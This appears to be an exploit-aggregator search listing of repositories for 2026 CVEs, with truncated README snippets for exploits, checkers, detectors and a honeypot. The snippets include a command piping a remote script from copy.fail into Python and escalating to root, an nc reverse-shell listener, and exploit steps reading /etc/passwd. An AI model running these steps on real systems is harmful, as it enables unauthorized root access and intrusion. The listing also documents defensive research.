141960 matches found
CVE-2026-31431-old-python
CVE-2026-31431 fork 自：https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copyfailexp.py 问题 低于 3.10 的 Python 版本没有 os.splice 实现。 解决方案 用于 splice 的 Ctypes Python 封装，可在旧版 Python 上运行 已在 python 3.7.3 上测试通过...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...
CVE-2026-23744
CVE-2026-23744 用于利用 CVE-2026-23744 的 python 脚本 使用方法：首先你需要打开两个终端 第一个终端 -- nc -nvlp 4444 第二个终端 -- python CVE-2026-23744.py -lhost 你的IP -url 目标URL 查看帮助菜单：python CVE-2026-23744.py -h...
CVE-2026-25857
https://nvd.nist.gov/vuln/detail/CVE-2026-25857...
CVE-2026-28956
CVE-2026-28956 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单使用 请仅在安全且经过授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例配置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source...
CVE-2026-32746-Exploit
此存储库没有 README。...
copy-fail-cve-2026-31431
Copy Fail 的 CVE 检查器（CVE-2026-31431） 作者/贡献者 ：Patrick Doyle（作者/维护者）、Effie Renard（合著者）、Kimberly-Lee Banks（合著者）、Chris F.（支持/代码审查） AI 披露 ：Claude Code 用于编写测试文件、编写测试数据以及进行代码安全审查。 所有编辑均由其中一位贡献者手动审核。 描述 单个静态链接的 Go 二进制文件，用于对 Linux 主机暴露于 CVE-2026-31431 的风险进行分类。 该工具是被动式...
fuck_cve_2026_31431
fuckcve202631431 root@kitploit: make KERNELVER=uname -r : 用于 LKM sudo insmod fuck-cve-2026-31431.ko regfakeimpl=1 : 用于内置 sudo insmod fuck-cve-2026-31431.ko...
CVE-2026-2461-poc
此存储库没有 README。...
tscan
Escáner de Bypass de Autenticación Telnetd CVE-2026-24061 Un escáner basado en Python para detectar y explotar la vulnerabilidad CVE-2026-24061 en los servicios telnetd de GNU Inetutils. Esta herramienta escanea direcciones IP o redes en busca de servicios telnetd vulnerables que permiten el bypa...
CYBERDUDEBIVASH-Modular-DS-CVE-2026-23550-Detector
CYBERDUDEBIVASH 模块化 DS CVE-2026-23550 检测器 概述 这是一个经授权的 CYBERDUDEBIVASH 生态系统工具，用于检测 WordPress Modular DS 插件中的 CVE-2026-23550。它通过解析插件的 readme.txt，以非破坏性方式检查是否存在易受攻击的版本（= 2.5.1）。非常适合网络安全审计、威胁狩猎和 WordPress 安全防护。 访问 www.cyberdudebivash.com 了解更多应用、服务、产品、企业实时培训、自由职业服务以及应用开发与交付。 联盟计划： 推广我们的网络安全生态系统即可赚取奖励 -...
Copy_Grail
copygrail | copy-fail-CVE-2026-31431 copygrail 是 CVE-2026-31431（“Copy Fail”）本地权限提升漏洞的一个紧凑型单文件 C++ 实现。 它展示了一种简洁的 AFALG + splice 页缓存破坏技术，可用于覆盖 setuid 二进制文件，并在易受攻击的 Linux 系统上将权限提升至 root。 该项目以简洁性和可移植性为设计目标——没有臃肿的代码库，没有不必要的依赖，仅是一个用现代 C++ 编写的直接明了的概念验证。 ⚠️ 法律免责声明 本项目仅用于教育目的、安全研究和经授权的渗透测试 。...
inetutils-telnetd-cve-2026-24061
GNU Inetutils Telnetd 认证绕过（CVE-2026-24061） 我记录了在 Hackviser 的实验室环境中，针对 GNU Inetutils telnetd 中 CVE-2026-24061 认证绕过的完整演练过程。...
cve-2026-41679
CVE-2026-41679 简介 此 POC 用于测试某个 paperclip ai 实例是否存在 CVE-2026-41679 漏洞。 它遵循这篇文章中描述的步骤。 使用方法 执行以下命令： root@kitploit: git clone [email protected]:bartfroklage/cve-2026-41679.git cd cve-2026-41679 python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt python3 poc.py -t...
Security-CVE-2026-41940-cPanel-WHM-WP2
Este repositorio no tiene un README...
jinjava-cve-2026-25526-poc
分步利用（全部 9 个步骤）： mvn exec:java -Dexec.mainClass=ExploitHarness -q 2. 最终利用链（文件创建、文件读取、信息泄露）： mvn exec:java -Dexec.mainClass=ExploitFinal -q 3. 文件内容外泄（读取 /etc/passwd、/etc/hosts）： mvn exec:java -Dexec.mainClass=ExploitFileRead -q 4. 补丁验证（将 pom.xml 中的版本改为 2.8.3，证明 2.8.3 可阻止所有攻击）： mvn exec:java...
check-cve-2026-31431
该脚本完全由 Claude 生成。我并非这方面的专家，只是需要一个简单脚本来检查我的几台服务器是否存在漏洞。...
CVE-2026-1312-Testing
CVE-2026-1312 复现 克隆仓库 设置 要求： 已安装 Python 3.12 已安装并运行 Docker Desktop 运行脚本 ./runcve20261312.sh 文件 runcve20261312.sh 主执行脚本 docker-compose.yml Docker 配置 .dockerfile Docker 镜像设置 requirements.txt Python 依赖 commitpoints.txt 提交 SHA 引用 executiontimestamps.txt 执行时间戳 logs/ 运行输出日志...
cpanel2shell-honeypot
cPanel2Shell 蜜罐 一个用 Rust 编写的蜜罐，用于模拟存在 CVE-2026-41940（cPanel2Shell 身份验证绕过）漏洞的 cPanel/WHM 实例。 概述 该蜜罐模拟了 cPanel2Shell 漏洞扫描器所使用的响应序列： 1. 返回带有必需逗号分隔格式的会话 Cookie 2. 将经过身份验证的请求重定向到会话令牌路径 3. 在令牌端点上提供 msgcode:expiredsession 标记 通过初始探测的攻击者会被引导至一个由内存虚拟文件系统支持的伪 bash shell 中。 功能特性 多端口监听（默认 2083/cPanel、2087/WHM...